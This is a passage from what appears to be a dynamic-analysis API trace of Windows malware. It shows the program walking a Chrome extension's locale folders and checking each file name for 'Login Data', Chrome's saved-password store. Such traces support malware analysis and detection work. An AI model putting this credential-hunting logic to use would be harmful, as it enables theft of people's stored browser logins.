Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" [0054.828] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned 135 [0054.828] lstrlenA (lpString="\\*.*") returned 4 [0054.828] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" [0054.828] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*" [0054.828] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.828] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.828] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.828] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.828] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.828] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.828] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.828] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.828] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.828] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.828] lstrcmpiA (lpString1=".", lpString2="et") returned -1 [0054.828] lstrcmpiA (lpString1="..", lpString2="et") returned -1 [0054.828] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.828] lstrlenA (lpString="\\") returned 1 [0054.828] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.828] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.828] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.828] lstrlenA (lpString="et") returned 2 [0054.828] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.828] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" [0054.828] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned 131 [0054.828] lstrlenA (lpString="\\*.*") returned 4 [0054.828] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" [0054.828] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*" [0054.828] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.829] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.829] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.829] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.829] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.829] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.829] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.829] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.829] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.829] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.829] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0054.829] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0054.829] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.829] lstrlenA (lpString="\\") returned 1 [0054.829] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.829] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.829] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.829] lstrlenA (lpString="fi") returned 2 [0054.829] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.829] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" [0054.829] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned 131 [0054.829] lstrlenA (lpString="\\*.*") returned 4 [0054.829] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" [0054.829] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*" [0054.829] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.829] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.829] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.829] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.829] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.829] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.829] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.829] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.829] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.829] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.829] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0054.829] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0054.829] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.829] lstrlenA (lpString="\\") returned 1 [0054.829] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.829] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.830] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.830] lstrlenA (lpString="fil") returned 3 [0054.830] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.830] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" [0054.830] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned 132 [0054.830] lstrlenA (lpString="\\*.*") returned 4 [0054.830] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" [0054.830] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*" [0054.830] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.830] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.830] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.830] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.830] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.830] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.830] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.830] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.830] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.830] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.830] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0054.830] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0054.830] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.830] lstrlenA (lpString="\\") returned 1 [0054.830] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.830] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.830] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.830] lstrlenA (lpString="fr") returned 2 [0054.830] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.830] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" [0054.830] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned 131 [0054.830] lstrlenA (lpString="\\*.*") returned 4 [0054.830] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" [0054.830] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*" [0054.830] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.830] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.831] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.831] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.831] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.831] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.831] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.831] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.831] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.831] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.831] lstrcmpiA (lpString1=".", lpString2="he") returned -1 [0054.831] lstrcmpiA (lpString1="..", lpString2="he") returned -1 [0054.831] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.831] lstrlenA (lpString="\\") returned 1 [0054.831] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.831] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.831] lstrlenA 